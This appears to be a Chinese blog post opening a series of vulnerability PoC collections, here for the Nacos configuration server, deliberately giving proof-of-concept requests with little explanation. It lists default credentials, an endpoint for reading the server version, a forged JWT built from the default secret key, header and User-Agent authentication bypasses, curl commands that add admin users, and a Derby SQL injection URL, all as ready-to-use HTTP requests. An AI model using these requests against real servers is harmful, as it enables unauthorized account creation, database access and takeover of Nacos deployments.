后面要开一个新的系列,主要是做各个中间件、cms、框架的漏洞集合,把每个漏洞都总结,网上能搜到的利用方法一堆,就是给poc磨磨唧唧,在这里不墨迹,直接上poc,利用方法原理随便去搜,各位看poc看爽了记得给个关注点个赞给个收藏,感谢各位师傅。
获取nacos版本信息
/nacos/v1/console/server/state
弱口令
默认账号密码都是nacos
未授权访问
auth
产生原因,配置文件nacos.core.auth.enabled = false
查看用户:http://xxx/nacos/v1/auth/users?pageNo=1&pageSize=1
添加用户:
POST /nacos/v1/auth/users HTTP/1.1
username=test1&password=test1
JWT QVD-2023-6271
利用版本:nacos <=2.2.0
产生原因,虽然nacos.core.auth.enabled = true
,但是未修改默认nacosKeynacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
JWT设置Header为HS256,payload中exp为较大时间戳(比如当前时间+5小时后的时间)unix时间戳转换的结果,签名就是用前面的key并且base64编码
获得登录的JSESSIONID:
POST /nacos/v1/auth/users/login HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMTM1NTEwMH0.zKH8OPXeQP6Eo7tMVPVb09Kb7RiI63ydLqUt57MOlsI
username=admin&password=admin
拿到JSESSIONID添加到这个请求里,再请求就登录成功了
identity
利用版本:Nacos <= 2.2.0
产生原因,配置文件写了nacos.core.auth.server.identity.key=serverIdentity
以及nacos.core.auth.server.identity.value=security
添加用户:
POST /nacos/v1/auth/users HTTP/1.1
serverIdentity: security
username=test&password=test
userAgent CVE-2021-29441
利用版本:Nacos <= 1.4.1
产生原因,配置文件nacos.core.auth.enable.userAgentAuthWhite=true
GET /nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken= HTTP/1.1
User-Agent: Nacos-Serverver
修复之后产生一个新问题,可以在users后面添加/
绕过校验
比如:
-
访问用户列表
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 --path-as-is'
-
添加新用户
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
derby SQL注入 CNVD-2020-67618
Poc:http://xxx/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20